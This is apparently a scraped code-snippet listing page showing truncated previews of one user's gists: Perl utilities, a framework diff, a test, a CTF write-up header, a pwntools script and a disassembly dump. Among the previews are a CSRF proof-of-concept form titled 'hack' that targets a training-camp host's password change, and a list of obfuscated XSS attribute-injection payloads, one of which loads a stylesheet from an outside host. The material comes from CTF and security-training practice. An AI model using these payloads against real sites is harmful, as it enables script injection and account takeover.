社会人のための趣味CTFまとめ http://hority-ctf.blogspot.jp/2014/08/ctf.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use strict; | |
use warnings; | |
# http://d.hatena.ne.jp/yuheiomori0718/20120116/1326715412 | |
package MyString; | |
use overload q{""} => \&as_string, fallback => 1; | |
sub new { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/lib/Amon2/Lite.pm b/lib/Amon2/Lite.pm | |
index c3f3aa1..0f75201 100644 | |
--- a/lib/Amon2/Lite.pm | |
+++ b/lib/Amon2/Lite.pm | |
@@ -119,11 +119,11 @@ sub import { | |
}; | |
*{"$caller\::get"} = sub { | |
- $router->connect($_[0], {code => $_[1], method => ['GET', 'HEAD']}); | |
+ $router->connect($_[0], {code => $_[1]}, {method => ['GET', 'HEAD']}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use strict; | |
use warnings; | |
use Test::More 0.98; | |
use Test::Pretty 0.26; | |
eval { | |
die; | |
}; | |
ok $@; | |
ok $@; # FAIL |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8" /> | |
<title>hack</title> | |
</head> | |
<body> | |
<form action="http://camp2013prof.camp/menu.cgi?actionid=passchg" method="post"> | |
<table border=0> | |
<tr><td>新パスワード:</td> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use strict; | |
use warnings; | |
use LWP::UserAgent; | |
my $filename = shift or die "Usage: $0 filename\n"; | |
my $base_url = 'http://gyazo.com/'; | |
my $ua = LWP::UserAgent->new; | |
my $res = $ua->post("$base_url/upload", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# CODEGATE 2014 web500 writeup (泣いている) | |
use 5.016; | |
use warnings; | |
use utf8; | |
use LWP::UserAgent; | |
# 150ワードあたりの文字出現数 | |
# a: 303 | |
# b: 115 | |
# c: 153 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))" | |
"><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><" | |
"onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')" | |
"onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))" | |
"onfocus="window['\141\154\145\162\164']('\130\123\123')" | |
"onKeyDown="parent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))" | |
"onDblClick="window['aleraaaat'.replace('aaaa','')]('XaaaaSaaaaS'.replace('aaaa','').replace('aaaa',''))" | |
"onMouseUp="window[String.fromCharCode(501-404,501-393,501-400,501-387,501-385)]('XSS')" | |
"onMouseEnter="alert('XSS')" | |
"onMouseDown="alert('XSS'� |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
from pwn import * | |
s = process('amida') | |
# thanks~~ http://arc006.contest.atcoder.jp/submissions/140243 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dump.bin: file format binary | |
Disassembly of section .data: | |
00000000 <.data>: | |
_start: | |
0: 40 1e 00 00 movhi 0, r0, sp | |
4: 23 1e 80 17 movea 6016, sp, sp |